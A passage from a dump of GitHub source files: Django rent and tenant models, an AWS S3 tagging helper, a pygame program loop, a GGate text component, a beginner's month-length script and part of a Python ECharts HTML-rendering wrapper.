models.DateField(_(\"date\"))\n    text = models.TextField(_(\"description\"))\n    text.widget = Textarea(attrs={'rows': 2})\n    read = models.BooleanField(_(\"mark as read\"), default=False)\n\n    class Meta:\n        verbose_name = _(\"reminder\")\n        verbose_name_plural = _(\"reminders\")\n        ordering = ['-date']\n\n    def __unicode__(self):\n        return u\"{} : {}\".format(self.tenant, self.text)\n\n\nclass RentRevision(models.Model):\n    tenant = models.ForeignKey(Tenant, verbose_name=Tenant._meta.verbose_name)\n    start_date = models.DateField(_(\"start date\"))\n    end_date = models.DateField(\n        _(\"end date\"), blank=True, null=True, help_text=_(\n            \"date at which the rent generation should stop (non-inclusive)\"))\n    rent = models.DecimalField(\n        _(\"monthly rent\"), max_digits=7, decimal_places=2,\n        validators=[MinValueValidator(0)])\n    provision = models.DecimalField(\n        _(\"monthly provision\"), max_digits=7, decimal_places=2,\n        validators=[MinValueValidator(0)])\n\n    class Meta:\n        verbose_name = _(\"rent revision\")\n        verbose_name_plural = _(\"rent revisions\")\n        ordering = ['-start_date']\n\n    def __unicode__(self):\n        return u\"{} - {}\".format(self.start_date, self.end_date or \"\")\n\n\nclass Payment(models.Model):\n    \"\"\"money received from the tenant\"\"\"\n    description = models.CharField(\n        _(\"description\"), max_length=1024)\n    tenant = models.ForeignKey(Tenant, verbose_name=Tenant._meta.verbose_name)\n    date = models.DateField(_(\"date\"))\n    amount = models.DecimalField(\n        _(\"amount\"), max_digits=7, decimal_places=2,\n        validators=[MinValueValidator(0)])\n\n    class Meta:\n        verbose_name = _(\"payment received from tenant\")\n        verbose_name_plural = _(\"payments received from tenant\")\n        ordering = ['-date']\n\n    def __unicode__(self):\n        return u\"{} - {}\".format(self.date, self.amount)\n\n\nclass Refund(models.Model):\n    \"\"\"money returned to the tenant\"\"\"\n    description = models.CharField(\n        _(\"description\"), max_length=1024)\n    tenant = models.ForeignKey(Tenant, verbose_name=Tenant._meta.verbose_name)\n    date = models.DateField(_(\"date\"))\n    amount = models.DecimalField(\n        _(\"amount\"), max_digits=7, decimal_places=2,\n        validators=[MinValueValidator(0)])\n\n    class Meta:\n        verbose_name = _(\"money transfer to tenant\")\n        verbose_name_plural = _(\"money transfers to tenant\")\n        ordering = ['-date']\n\n    def __unicode__(self):\n        return u\"{} - {}\".format(self.date, self.amount)\n\n\nclass Fee(models.Model):\n    \"\"\"a one-time fee (for example an end of year adjustment fee)\"\"\"\n    description = models.CharField(_(\"description\"), max_length=255)\n    tenant = models.ForeignKey(Tenant, verbose_name=Tenant._meta.verbose_name)\n    date = models.DateField(_(\"date\"))\n    amount = models.DecimalField(\n        _(\"amount\"), max_digits=7, decimal_places=2,\n        validators=[MinValueValidator(0)], default=0)\n\n    class Meta:\n        verbose_name = _(\"one-time fee\")\n        verbose_name_plural = _(\"one-time fees\")\n        ordering = ['-date']\n\n    def __unicode__(self):\n        return u\"{} - {}\".format(self.description, self.date)\n\n\nclass Discount(models.Model):\n    \"\"\"a one-time discount\n    example: the tenant repainted a room and the\n    landlord agrees to pay for it\n    \"\"\"\n    description = models.CharField(_(\"description\"), max_length=255)\n    tenant = models.ForeignKey(Tenant, verbose_name=Tenant._meta.verbose_name)\n    date = models.DateField(_(\"date\"))\n    amount = models.DecimalField(\n        _(\"amount\"), max_digits=7, decimal_places=2,\n        validators=[MinValueValidator(0)], default=0)\n\n    class Meta:\n        verbose_name = _(\"one-time discount\")\n        verbose_name_plural = _(\"one-time discount\")\n        ordering = ['-date']\n\n    def __unicode__(self):\n        return u\"{} - {}\".format(self.description, self.date)\n\n\nCashflow = namedtuple('Cashflow', ['date', 'amount', 'description'])\nCashflowAndBalance = namedtuple('Cashflow',\n                                ['date', 'amount', 'description', 'balance'])\n\n\ndef payments_to_cashflows(\n        date, payments, model_class, negate=False):\n    for p in payments:\n        if p.date > date:\n            continue\n        model_class_label = model_class._meta.verbose_name\n        if p.description:\n            # Translators: this is used for the tenant cashflow summary,\n            # for example: 'one-time-fee \"broken window fee\"'\n            d = _('%(model_class)s \"%(description)s\"') % {\n                'model_class': model_class_label,\n                'description': p.description}\n        else:\n            d = model_class_label\n        yield Cashflow(p.date, -p.amount if negate else p.amount, d)\n\n\ndef first_of_month_range(start_date, end_date):\n    start_index = 12*start_date.year + start_date.month\n    end_index = 12*end_date.year + end_date.month\n    for index in range(start_index, end_index):\n        month = (index - 1) % 12 + 1\n        year = (index - 1) / 12\n        yield date(year, month, 1)\n\n\nTWOPLACES = Decimal('0.00')\n\n\ndef fractional_amount(amount, days, month_days):\n    \"\"\"Computes the amount for monthes that are not paid in full\n    \"\"\"\n    return Decimal(amount * days / month_days).quantize(TWOPLACES)\n\n\ndef revision_to_cashflows(rev, end_date):\n    \"\"\"Converts a revision to a list of cashflows\n    end_date -- the date from which we want to stop computing\n    \"\"\"\n    if rev.end_date is not None:\n        end_date = next_month(rev.end_date)\n    result = []\n    for first_of_month in first_of_month_range(rev.start_date, end_date):\n        start = max(first_of_month, rev.start_date)\n        end = next_month(first_of_month)\n        if rev.end_date is not None:\n            end = min(end, rev.end_date)\n        delta = end - start\n        total_days = monthrange(first_of_month.year, first_of_month.month)[1]\n        rent = fractional_amount(-rev.rent, delta.days, total_days)\n        result.append(Cashflow(first_of_month, rent, _(\"rent\")))\n        if rev.provision != 0:\n            p = fractional_amount(-rev.provision, delta.days, total_days)\n            result.append(Cashflow(\n                first_of_month, p, _(\"provision\")))\n    return result\n\n\ndef revisions_to_cashflows(date, revisions):\n    date = next_month(date)\n    result = map(lambda r: revision_to_cashflows(r, date), revisions)\n    joined_result = itertools.chain.from_iterable(result)\n    return [c for c in joined_result if c.date < date]\n\n\ndef next_month(date, increment=1):\n    date = date.replace(day=1)\n    return add_month(date, increment)\n\n\ndef add_month(d, increment=1):\n    month = d.month - 1 + increment\n    year = d.year + month / 12\n    month = month % 12 + 1\n    day = d.day\n    max_day = monthrange(year, month)[1]\n    day = min(day, max_day)\n    return date(month=month, year=year, day=day)\n\n\ndef pop_cashflows_until(sorted_cashflows, until):\n    result = []\n    while len(sorted_cashflows) > 0 and sorted_cashflows[0].date < until:\n        c = sorted_cashflows.popleft()\n        result.append(c)\n    return result\n\n\ndef moving_average(to_date, sorted_cashflows, size):\n    \"\"\"\n    Returns an array of the requested size.\n    Each point of this array correspond to the average balance of the account\n    over the course of a month\n    The last point is the average between to_date and to_date - 1 month\n    \"\"\"\n    if len(sorted_cashflows) == 0:\n        sorted = True\n    else:\n        sorted = sorted_cashflows[-1].date <= sorted_cashflows[0].date\n    assert sorted, \"sorted_list is not sorted\"\n    # clone and sort by ascending date\n    cashflows = deque(reversed(sorted_cashflows))\n    from_date = add_month(to_date, -size)\n    cashflows_before = pop_cashflows_until(cashflows, from_date)\n    balance = 0\n    balance += sum([float(c.amount) for c in cashflows_before])\n    result = []\n    for i in range(size):\n        to_date = add_month(from_date)\n        month_cashflows = pop_cashflows_until(cashflows, to_date)\n        product = 0\n        last_balance = balance\n        last_date = from_date\n        for c in month_cashflows:\n            product += last_balance * (c.date - last_date).days\n            last_balance += float(c.amount)\n            last_date = c.date\n        product += last_balance * (to_date - last_date).days\n        result.append(product / (to_date - from_date).days)\n        from_date = to_date\n        balance = last_balance\n    return result\n","repo_name":"oadam/proprio","sub_path":"main/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":15054,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"60"}
+{"seq_id":"26359715051","text":"from typing import Dict, Generator, List, Optional, Tuple, cast\n\nimport boto3\nfrom mypy_boto3_s3 import S3Client\nfrom mypy_boto3_s3.type_defs import TagTypeDef\n\n\ndef iterate_event(event) -> Generator[Tuple[str, str], None, None]:\n    \"\"\"Parse the bucket and object from an S3 event.\"\"\"\n    for record in event[\"Records\"]:\n        s3_event = record[\"s3\"]\n        s3_bucket = s3_event[\"bucket\"][\"name\"]\n        s3_key = s3_event[\"object\"][\"key\"]\n        yield s3_bucket, s3_key\n\n\ndef add_tags(bucket: str, obj: str, tags: Dict[str, str], s3_client: Optional[S3Client] = None) -> List[TagTypeDef]:\n    \"\"\"Tag an S3 object with `tag_key = tag_value`.\"\"\"\n    # NOTE: `put_object_tagging()` overwrites existing tags set with a new set.\n    # Hence, we do a write-after-read of tag sets to append new tags.\n\n    if s3_client is None:\n        s3_client = boto3.session.Session().client(\"s3\")\n\n    # Fetch existing tags. For the format of the response message, see\n    # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/s3.html#S3.Client.get_object_tagging\n    existing_tags: List[TagTypeDef] = s3_client.get_object_tagging(Bucket=bucket, Key=obj)[\"TagSet\"]\n\n    # If there's existing tag, then we have to remove the old one, otherwise\n    # put_object_tagging() complains about multiple tags with the same key.\n    existing_tags2 = [d for d in existing_tags if d[\"Key\"] not in tags]\n\n    # Append new tag to existing tags\n    new_tags = existing_tags2 + [{\"Key\": tag_key, \"Value\": cast(str, tag_value)} for tag_key, tag_value in tags.items()]\n\n    # Put new tags to the S3 object.\n    s3_client.put_object_tagging(Bucket=bucket, Key=obj, Tagging={\"TagSet\": new_tags})\n\n    return new_tags\n","repo_name":"aws-samples/smallmatter-package","sub_path":"src/smallmatter/aws_lambda/s3.py","file_name":"s3.py","file_ext":"py","file_size_in_byte":1707,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"}
+{"seq_id":"8142841296","text":"import pygame\nfrom pygame.locals import *\nfrom settings import Settings\nfrom state import State\n\n\nclass Program:\n    def __init__(self):\n        self.settings = Settings()\n        pygame.init()\n        self.clock = pygame.time.Clock()\n\n        self.surface_main = pygame.display.set_mode(\n            self.settings.WINDOW_SIZE, DOUBLEBUF | RESIZABLE)\n        # self.settings.WINDOW_SIZE)\n        pygame.display.set_caption(self.settings.WINDOW_TITLE)\n\n        self.state = None\n        self.limit_fps()\n        self.change_to_state(State.PLAY)\n\n    def change_to_state(self, state):\n        if isinstance(state, State):\n            self.state = state\n        else:\n            self.state = State(state, self)\n\n        if self.state == State.PAUSE:\n            self.pause()\n\n    def run(self):\n        while self.state != State.QUIT:\n            self.handle_events()\n            self.update()\n            self.draw()\n            self.clock.tick(self.settings.MAX_FPS)\n\n        # pygame.quit()\n        # sys.exit()\n\n    def pause(self):\n        while self.state == State.PAUSE:\n            self.handle_events()\n            self.state.update()\n            self.draw()\n            self.clock.tick(self.settings.MIN_FPS)\n\n    def handle_events(self):\n        events = pygame.event.get()\n        self.state.handle_events(self, events)\n\n        for event in events:\n            if event.type == pygame.QUIT:\n                self.change_to_state(State.QUIT)\n            elif event.type == VIDEORESIZE:\n                self.resize(event.dict['size'])\n                self.resize(event.dict['size'])\n            elif event.type == pygame.KEYDOWN:\n                if event.key == pygame.K_f:\n                    self.limit_fps()\n\n    def update(self):\n        self.state.update()\n\n    def draw(self):\n        self.surface_main.fill(self.settings.BACKGROUND_COLOR)\n        self.state.draw()\n        pygame.display.flip()\n\n    def resize(self, size):\n        self.settings.WINDOW_SIZE_CURRENT = (\n            size[0] if size[0] >= self.settings.WINDOW_SIZE_MINIMUM[0] else self.settings.WINDOW_SIZE_CURRENT[0],\n            size[1] if size[1] >= self.settings.WINDOW_SIZE_MINIMUM[1] else self.settings.WINDOW_SIZE_CURRENT[1])\n\n        self.surface_main = pygame.display.set_mode(\n            self.settings.WINDOW_SIZE_CURRENT, DOUBLEBUF | RESIZABLE)\n        # self.surface_main.fill(self.settings.BACKGROUND_COLOR)\n        self.draw()\n\n    def limit_fps(self):\n        if self.settings.MAX_FPS > Settings.MAX_FPS:\n            self.settings.MAX_FPS = Settings.MAX_FPS\n        else:\n            self.settings.MAX_FPS *= 100\n\n    def get_fps(self):\n        return '{:>6.2f} (f)'.format(self.clock.get_fps())\n\n\nif __name__ == \"__main__\":\n    NNNavigator = Program()\n    NNNavigator.run()\n","repo_name":"Margiris/NNNavigator","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2770,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"5451561014","text":"# -*- coding: utf-8; indent-tabs-mode: t; tab-width: 4 -*-\n\nimport math\nfrom gettext import gettext as _\nfrom ggate import const\nfrom ggate.Components.SystemComponents import BaseComponent\nfrom ggate.Utils import *\nfrom gi.repository import Pango\n\nclass Text(BaseComponent):\n\tdef __init__(self, *args, **kwds):\n\t\tBaseComponent.__init__(self, *args, **kwds)\n\t\tself.description = _(\"Text\")\n\t\tself.comp_rect = [10, -12, 24, 0]\n\t\tself.prop_names = [\"text\"]\n\t\tself.properties.append((_(\"Text:\"), (const.property_string, 20), \"\"))\n\t\tself.values.append(\"Text\")\n\t\tself.width = 12\n\t\tself.height = 12\n\n\tdef propertyChanged(self, prop):\n\t\tif prop[0] == \"\":\n\t\t\treturn True\n\t\treturn False\n\n\tdef drawComponent(self, cr, layout):\n\t\tcairo_draw_text(cr, layout, self.values[0], 10, -10, 0.0, 0.5)\n\t\tcr.fill()\n\t\t(w, h) = layout.get_size()\n\t\tself.width = w / Pango.SCALE\n\t\tif self.width < 12:\n\t\t\tself.width = 12\n\t\tself.height = h / Pango.SCALE\n\t\tif self.height < 12:\n\t\t\tself.height = 12\n\t\tself.comp_rect = [10, -10-self.height/2, 10+self.width, -10+self.height/2]\n\t\tself.set_rot_props()\n\n\tdef isMouseOvered(self, x, y):\n\t\tif self.pos_x + 10 <= x <= self.pos_x + self.width + 10 and self.pos_y - 10 - self.height / 2 <= y <= self.pos_y - 10 + self.height / 2:\n\t\t\treturn True\n\t\treturn False\n","repo_name":"astraldev/GGate","sub_path":"ggate/Components/Misc.py","file_name":"Misc.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"}
+{"seq_id":"71131172990","text":"\n\n#start writing your code below\nmonth = input(\"Enter a month:\")\n\nif month == (\"april\"or\"june\"or\"november\"or\"september\"):\n  print(\"30\")\nif month == (\"january\"or\"february\"or \"march\"or \"may\", \"july\"or \"august\"or \"october\"or \"december\"):\n  print(\"31\")\n\n  \n  \n\n","repo_name":"huntercollegehighschool/cs9-comparison-if-spr-21-kboyce25","sub_path":"part5.py","file_name":"part5.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"37594618402","text":"#!/usr/bin/env python\n# coding=utf-8\nimport copy\nimport uuid\n\nfrom .base import Tools, Html\n\nECHARTS_JS_URL = \"https://cdn.staticfile.org/echarts/5.3.2/echarts.min.js\"\nECHARTS_GL_JS_URL = \"https://cdn.staticfile.org/echarts-gl/2.0.8/echarts-gl.min.js\"\n\n\nclass Echarts(object):\n    \"\"\"\n    echarts\n    \"\"\"\n\n    def __init__(self, options: dict = None, extra_js: str = \"\", with_gl=False, width: str = \"100%\",\n                 height: str = \"500px\"):\n        \"\"\"\n        :param options: python词典类型的echarts option\n        :param extra_js: 复杂图表需要声明定义额外js函数的，通过这个字段传递\n        :param width: 输出div的宽度 支持像素和百分比 比如800px/100%\n        :param height: 输出div的高度 支持像素和百分比 比如800px/100%\n        \"\"\"\n        self.options = options\n        self.js_options = \"\"\n        self.width = width\n        self.height = height\n        self.plot_id = \"u\" + uuid.uuid4().hex\n        self.js_url = ECHARTS_JS_URL\n        self.js_url_gl = ECHARTS_GL_JS_URL\n        self.extra_js = extra_js\n        self.with_gl = with_gl\n\n    @staticmethod\n    def timeline(echarts_dict: dict = {}, visual_map_options=None):\n        \"\"\"\n\n        :param echarts_dict: key类型字符串，用作标题, value类型 Echarts对象，或者Echarts对象的options\n        :param visual_map_options: visualMap 配置,visualMap最大值最小值需要配置的时候设置,格式参照echarts官方文档\n        :return:\n        \"\"\"\n        charts_dict = {k: (v.options if isinstance(v, Echarts) else v) for k, v in echarts_dict.items()}\n        options = {\n            \"baseOption\": {\n                'timeline': {\n                    'axisType': 'category',\n                    'orient': 'vertical',\n                    'autoPlay': True,\n                    'inverse': True,\n                    'playInterval': 1000,\n                    'left': None,\n                    'right': 0,\n                    'top': 20,\n                    'bottom': 20,\n                    'width': 55,\n                    'height': None,\n                    'symbol': 'none',\n                    'checkpointStyle': {\n                        'borderWidth': 2\n                    },\n                    'controlStyle': {\n                        'showNextBtn': False,\n                        'showPrevBtn': False\n                    },\n                    'data': [],\n                },\n                'grid': {\n                    'top': 100,\n                    'containLabel': True,\n                    'left': 30,\n                    'right': '110'\n                },\n                'animationDurationUpdate': 1000,\n                'animationEasingUpdate': 'quinticInOut'\n            },\n            'options': []\n        }\n        keys = list(charts_dict.keys())\n        keys.sort()\n        options['baseOption']['timeline']['data'] = keys\n        if len(keys) > 0:\n            if 'tooltip' in charts_dict[keys[0]].keys():\n                options['baseOption']['tooltip'] = charts_dict[keys[0]]['tooltip']\n            if 'xAxis' in charts_dict[keys[0]].keys():\n                options['baseOption']['xAxis'] = charts_dict[keys[0]]['xAxis']\n            if 'yAxis' in charts_dict[keys[0]].keys():\n                options['baseOption']['yAxis'] = charts_dict[keys[0]]['yAxis']\n\n            if visual_map_options is not None:\n                options['baseOption']['visualMap'] = visual_map_options\n            elif 'visualMap' in charts_dict[keys[0]].keys():\n                options['baseOption']['visualMap'] = charts_dict[keys[0]]['visualMap']\n            if 'series' in charts_dict[keys[0]].keys():\n                options['baseOption']['series'] = charts_dict[keys[0]]['series']\n            for i in range(0, len(keys)):\n                options['options'].append({\n                    'title': {\n                        'show': True,\n                        'text': keys[i]\n                    },\n                    'series': charts_dict[keys[i]]['series']\n                })\n                if 'visualMap' in charts_dict[keys[i]].keys() and 'visualMap' in options['baseOption'].keys():\n                    if isinstance(charts_dict[keys[i]]['visualMap'], list) and isinstance(\n                            options['baseOption']['visualMap'], list) and len(charts_dict[keys[i]]['visualMap']) == len(\n                        options['baseOption']['visualMap']):\n                        for j in range(0, len(options['baseOption']['visualMap'])):\n                            if 'min' in options['baseOption']['visualMap'][j].keys():\n                                options['baseOption']['visualMap'][j]['min'] = min(\n                                    options['baseOption']['visualMap'][j]['min'],\n                                    charts_dict[keys[i]]['visualMap'][j]['min'])\n                            if 'max' in options['baseOption']['visualMap'][j].keys():\n                                options['baseOption']['visualMap'][j]['max'] = min(\n                                    options['baseOption']['visualMap'][j]['max'],\n                                    charts_dict[keys[i]]['visualMap'][j]['max'])\n                    elif isinstance(charts_dict[keys[i]]['visualMap'], dict) and isinstance(\n                            options['baseOption']['visualMap'], dict):\n                        if 'min' in options['baseOption']['visualMap'].keys():\n                            options['baseOption']['visualMap']['min'] = min(\n                                options['baseOption']['visualMap']['min'],\n                                charts_dict[keys[i]]['visualMap']['min'])\n                        if 'max' in options['baseOption']['visualMap'].keys():\n                            options['baseOption']['visualMap']['max'] = max(\n                                options['baseOption']['visualMap']['max'],\n                                charts_dict[keys[i]]['visualMap']['max'])\n\n        return Echarts(options=options)\n\n    def overlap_series(self, other_chart_options: list = [], add_yaxis=False, add_yaxis_grid_index=0):\n        \"\"\"\n        叠加其他配置中的Series数据到现有配置，现有配置有多个坐标轴的，建议Series声明对应的axisIndex\n        :param other_chart_options:要叠加的Echarts对象列表，或者options列表\n        :param add_yaxis: 是否增加一个Y轴\n        :param add_yaxis_grid_index: 0\n        :return:\n        \"\"\"\n        this_options = copy.deepcopy(self.options)\n        if add_yaxis:\n            if type(this_options['yAxis']).__name__=='dict':\n                this_options['yAxis'] = [this_options['yAxis']]\n            this_options['yAxis'].append({'scale': True, 'type': 'value', 'gridIndex': add_yaxis_grid_index})\n        if this_options[\"legend\"][\"data\"] is None:\n            this_options[\"legend\"][\"data\"] = []\n        if this_options[\"series\"] is None:\n            this_options[\"series\"] = []\n        for chart_option in other_chart_options:\n            if isinstance(chart_option, Echarts):\n                chart_option = chart_option.options\n            old_series_count = len(this_options[\"series\"])\n            this_options[\"legend\"][\"data\"].extend(chart_option[\"legend\"][\"data\"])\n            if add_yaxis:\n                for seriesIndex in range(len(chart_option[\"series\"])):\n                    chart_option[\"series\"][seriesIndex]['yAxisIndex'] = len(this_options['yAxis']) - 1\n            this_options[\"series\"].extend(chart_option[\"series\"])\n            if \"visualMap\" in chart_option.keys():\n                if \"visualMap\" not in this_options.keys():\n                    this_options[\"visualMap\"] = []\n                for i in range(0, len(chart_option[\"visualMap\"])):\n                    if \"seriesIndex\" in chart_option[\"visualMap\"][i].keys():\n                        chart_option[\"visualMap\"][i]['seriesIndex'] = chart_option[\"visualMap\"][i][\n                                                                          'seriesIndex'] + old_series_count\n                    else:\n                        chart_option[\"visualMap\"][i]['seriesIndex'] = old_series_count\n                this_options[\"visualMap\"].extend(chart_option[\"visualMap\"])\n        return Echarts(options=this_options, extra_js=self.extra_js, width=self.width, height=self.height)\n\n    def print_options(self, drop_data=False):\n        \"\"\"\n        格式化打印options 方便二次修改\n        :param drop_data: 是否过滤掉data，减小打印长度，方便粘贴\n        :return:\n        \"\"\"\n        dict_options = copy.deepcopy(self.options)\n        if drop_data:\n            series_count = len(dict_options['series'])\n            for i in range(0, series_count):\n                dict_options['series'][i]['data'] = []\n        Tools.convert_js_to_dict(Tools.convert_dict_to_js(dict_options), print_dict=True)\n\n    def dump_options(self):\n        \"\"\"\n         导出 js option字符串表示\n        :return:\n        \"\"\"\n        self.js_options = Tools.convert_dict_to_js(self.options)\n        return self.js_options\n\n    def render_notebook(self) -> Html:\n        \"\"\"\n        在jupyter notebook 环境输出\n        :return:\n        \"\"\"\n        self.js_options = Tools.convert_dict_to_js(self.options)\n        plot = self\n        if plot.with_gl:\n            html = f\"\"\"\n            <style>\n              #{plot.plot_id} {{\n                width:{{plot.width}};\n                height:{{plot.height}};\n             }}\n            </style>\n            <div id=\"{plot.plot_id}\"></div>\n            <script>\n                require.config({{\n                    paths: {{\n                      \"echarts\": \"{plot.js_url[:-3]}\",\n                      \"echartsgl\": \"{plot.js_url_gl[:-3]}\"\n                    }}\n                  }});\n                  require(['echarts','echartsgl'], function (echarts,echartsgl) {{\n                    var plot_{plot.plot_id} = echarts.init(document.getElementById('{plot.plot_id}'));\n                    {plot.extra_js}\n                    var options_{plot.plot_id} = {plot.js_options};\n                    plot_{plot.plot_id}.setOption(options_{plot.plot_id})\n                  }});\n            </script>\n            \"\"\"\n        else:\n            html = f\"\"\"\n            <style>\n              #{plot.plot_id} {{\n                width:{{plot.width}};\n                height:{{plot.height}};\n             }}\n            </style>\n            <div id=\"{plot.plot_id}\"></div>\n            <script>\n                require.config({{\n                    paths: {{\n                      \"echarts\": \"{plot.js_url[:-3]}\",\n                    }}\n                  }});\n                  require(['echarts'], function (echarts) {{\n                    var plot_{plot.plot_id} = echarts.init(document.getElementById('{plot.plot_id}'));\n                    {plot.extra_js}\n                    var options_{plot.plot_id} = {plot.js_options};\n                    plot_{plot.plot_id}.setOption(options_{plot.plot_id})\n                  }});\n            </script>\n            \"\"\"\n\n        return Html(html)\n\n    def render_jupyterlab(self) -> Html:\n        \"\"\"\n        在jupyterlab 环境输出\n        :return:\n        \"\"\"\n        self.js_options = Tools.convert_dict_to_js(self.options)\n        plot = self\n        if plot.with_gl:\n            html = f\"\"\"\n                <style>\n                 #{plot.plot_id}{{\n                    width:{plot.width};\n                    height:{plot.height};\n                 }}\n                </style>\n                <div id=\"{plot.plot_id}\"></div>\n                  <script>\n                    // load javascript\n                    new Promise(function(resolve, reject) {{\n                      var script = document.createElement(\"script\");\n                      script.onload = resolve;\n                      script.onerror = reject;\n                      script.src = \"{plot.js_url}\";\n                      document.head.appendChild(script);\n                      var scriptGL = document.createElement(\"script\");\n                      scriptGL.onload = resolve;\n                      scriptGL.onerror = reject;\n                      scriptGL.src = \"{plot.js_url_gl}\";\n                      document.head.appendChild(scriptGL);\n                    }}).then(() => {{\n                       var plot_{plot.plot_id} = echarts.init(document.getElementById('{plot.plot_id}'));\n                       {plot.extra_js}\n                       plot_{plot.plot_id}.setOption({plot.js_options})\n                    }});\n                  </script>\n                \"\"\"\n        else:\n            html = f\"\"\"\n            <style>\n             #{plot.plot_id} {{\n                width:{plot.width};\n                height:{plot.height};\n             }}\n            </style>\n            <div id=\"{plot.plot_id}\"></div>\n              <script>\n                // load javascript\n                new Promise(function(resolve, reject) {{\n                    var script =document.createElement(\"script\");\n                    script.onload = resolve;\n                    script.onerror = reject;\n                    script.src = \"{plot.js_url}\";\n                    document.head.appendChild(script);\n                }}).then(() => {{\n                    var plot_{plot.plot_id} = echarts.init(document.getElementById('{plot.plot_id}'));\n                    {plot.extra_js}\n                    plot_{plot.plot_id}.setOption({plot.js_options})\n                }});\n              </script>\n            \"\"\"\n            return Html(html)\n\n    def render_html(self) -> str:\n        \"\"\"\n        渲染html字符串，可以用于 streamlit\n        :return:\n        \"\"\"\n        self.js_options = Tools.convert_dict_to_js(self.options)\n        plot = self\n        if self.with_gl:\n            html = f\"\"\"\n            <!DOCTYPE html>\n            <html>\n            <head>\n              <meta charset=\"UTF-8\">\n              <title></title>\n                <style>\n                  #{plot.plot_id} {{\n                        width:{plot.width};\n                        height:{plot.height};\n                     }}\n                </style>\n               <script type=\"text/javascript\" src=\"{plot.js_url}\"></script>\n                <script type=\"text/javascript\" src=\"{plot.js_url_gl}\"></script>\n            </head>\n            <body>\n              <div id=\"{plot.plot_id}\" ></div>\n              <script>\n                var plot_{plot.plot_id} = echarts.init(document.getElementById('{plot.plot_id}'));\n                {plot.extra_js}\n                plot_{plot.plot_id}.setOption({plot.js_options})\n              </script>\n            </body>\n            </html>\n            \"\"\"\n        else:\n            html = f\"\"\"\n            <!DOCTYPE html>\n            <html>\n            <head>\n              <meta charset=\"UTF-8\">\n              <title></title>\n                <style>\n                  #{plot.plot_id} {{\n                        width:{ {plot.width} };\n                        height:{ {plot.height} };\n                     }}\n                </style>\n               <script type=\"text/javascript\" src=\"{plot.js_url}\"></script>\n            </head>\n            <body>\n              <div id=\"{plot.plot_id}\" ></div>\n              <script>\n                var plot_{plot.plot_id} = echarts.init(document.getElementById('{plot.plot_id}'));\n                {plot.extra_js}\n                plot_{plot.plot_id}.setOption({plot.js_options})\n              </script>\n            </body>\n            </html>\n            \"\"\"\n        return html\n\n    def render_html_fragment(self):\n        \"\"\"\n        渲染html 片段，方便一个网页输出多个图表\n        :return:\n        \"\"\"\n        self.js_options = Tools.convert_dict_to_js(self.options)\n        plot = self\n        if self.with_gl:\n            html = f\"\"\"\n                <div>\n                 <script type=\"text/javascript\" src=\"{plot.js_url}\"></script>\n                 <script type=\"text/javascript\" src=\"{plot.js_url_gl}\"></script>\n                 <style>\n                      #{plot.plot_id} {{\n                            width:{plot.width};\n                            height:{plot.height};\n                         }}\n                 </style>\n                 <div id=\"{plot.plot_id}\" ></div>\n                  <script>\n                    var plot_{plot.plot_id} = echarts.init(document.getElementById('{plot.plot_id}'));\n                    {plot.extra_js}\n                    plot_{plot.plot_id}.setOption({plot.js_options})\n                  </script>\n                </div>\n                \"\"\"\n        else:\n            html = f\"\"\"\n                <div>\n                 <script type=\"text/javascript\" src=\"{plot.js_url}\"></script>\n                 <style>\n                      #{plot.plot_id} {{\n                            width:{plot.width};\n                            height:{plot.height};\n                         }}\n                 </style>\n                 <div id=\"{plot.plot_id}\" ></div>\n                  <script>\n                    var plot_{plot.plot_id} = echarts.init(document.getElementById('{plot.plot_id}'));\n                    {plot.extra_js}\n                    plot_{plot.plot_id}.setOption({plot.js_options})\n                  </script>\n                </div>\n                \"\"\"\n\n        return html\n\n    def _repr_html_(self):\n        \"\"\"\n        jupyter 环境，直接输出\n        :return:\n        \"\"\"\n        self.js_options = Tools.convert_dict_to_js(self.options)\n        plot = self\n        if self.with_gl:\n            html = f\"\"\"\n        <style>\n          #{plot.plot_id} {{\n            width:{plot.width};\n            height:{plot.height};\n         }}\n        </style>\n        <div id=\"{plot.plot_id}\"></div>\n        <script>\n          {plot.extra_js}\n          var options_{plot.plot_id} = {plot.js_options};\n          if (typeof require !== 'undefined'){{\n            require.config({{\n                paths: {{\n                  \"echarts\": \"{plot.js_url[:-3]}\",\n                  \"echartsgl\": \"{plot.js_url_gl[:-3]}\"\n                }}\n              }});\n              require(['echarts','echartsgl'], function (echarts,echartsgl) {{\n                var plot_{plot.plot_id} =\n                echarts.init(document.getElementById('{plot.plot_id}'));\n                plot_{plot.plot_id}.setOption(options_{plot.plot_id})\n              }});\n          }}else{{\n            new Promise(function(resolve, reject)\n        {{\n            var script = document.createElement(\"script\");\n            script.onload = resolve;\n            script.onerror = reject;\n            script.src = \"{plot.js_url}\";\n            document.head.appendChild(script);\n            var\n            scriptGL = document.createElement(\"script\");\n            scriptGL.onload = resolve;\n            scriptGL.onerror = reject;\n            scriptGL.src = \"{plot.js_url_gl}\";\n            document.head.appendChild(scriptGL);\n        }}).then(() = > {{\n            var plot_{plot.plot_id} = echarts.init(document.getElementById('{plot.plot_id}'));\n            plot_{plot.plot_id}.setOption(options_{plot.plot_id})\n        }});\n        }}\n        </script>\n        \"\"\"\n        else:\n            # language=HTML\n            html = f\"\"\"\n        <style>\n          #{plot.plot_id} {{\n            width:{plot.width};\n            height:{plot.height};\n         }}\n        </style>\n        <div id=\"{plot.plot_id}\"></div>\n        <script>\n          {plot.extra_js}\n          var options_{plot.plot_id} = {plot.js_options};\n          if (typeof require !== 'undefined'){{\n            require.config({{\n                paths: {{\n                  \"echarts\": \"{plot.js_url[:-3]}\",\n                }}\n              }});\n              require(['echarts'], function (echarts) {{\n                var plot_{plot.plot_id} = echarts.init(document.getElementById('{plot.plot_id}'));\n                plot_{plot.plot_id}.setOption(options_{plot.plot_id})\n              }});\n          }}else{{\n            new Promise(function(resolve, reject) {{\n              var script = document.createElement(\"script\");\n              script.onload = resolve;\n              script.onerror = reject;\n              script.src = \"{plot.js_url}\";\n              document.head.appendChild(script);\n            